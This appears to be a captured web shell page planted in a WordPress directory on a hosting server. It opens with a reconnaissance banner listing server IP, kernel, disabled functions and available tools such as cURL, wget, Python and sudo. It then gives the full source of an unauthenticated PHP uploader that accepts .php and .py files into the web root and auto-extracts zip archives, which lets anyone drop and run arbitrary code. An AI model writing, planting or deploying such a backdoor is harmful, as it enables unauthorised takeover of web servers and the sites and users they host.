| Server IP : 188.114.96.3 / Your IP : 216.73.216.143 Web Server : Apache System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64 User : ( 3194769) PHP Version : 8.5.12 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /autoinstalator/wordpress27/ |
Upload File : |
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploaded_file'])) {
$target_dir = "./";
$filename = basename($_FILES['uploaded_file']['name']);
$target_file = $target_dir . $filename;
$upload_ok = true;
$file_type = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (!file_exists($target_dir)) {
mkdir($target_dir, 0777, true);
}
if ($_FILES['uploaded_file']['size'] > 5000000) {
echo "Error: File is too large (max 5MB).";
$upload_ok = false;
}
$allowed_types = ['txt', 'pdf', 'jpg', 'jpeg', 'png', 'php', 'py', 'zip'];
if (!in_array($file_type, $allowed_types)) {
echo "Error: Only " . implode(", ", $allowed_types) . " files are allowed.";
$upload_ok = false;
}
if ($_FILES['uploaded_file']['error'] !== UPLOAD_ERR_OK) {
echo "Error: File upload failed.";
$upload_ok = false;
}
if ($upload_ok) {
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target_file)) {
echo "File " . htmlspecialchars($filename) . " uploaded successfully.<br>";
// If zip - extract
if ($file_type === 'zip') {
$zip = new ZipArchive();
if ($zip->open($target_file) === true) {
$zip->extractTo($target_dir);
$zip->close();
echo "ZIP unpacked";
} else {
echo "Error unzipping ZIP-archive.";
}
}
} else {
echo "Error: Failed to save file.";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Upload</title>
</head>
<body>
<h2>Upload a File</h2>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" required>
<input type="submit" value="Upload">
</form>
</body>
</html>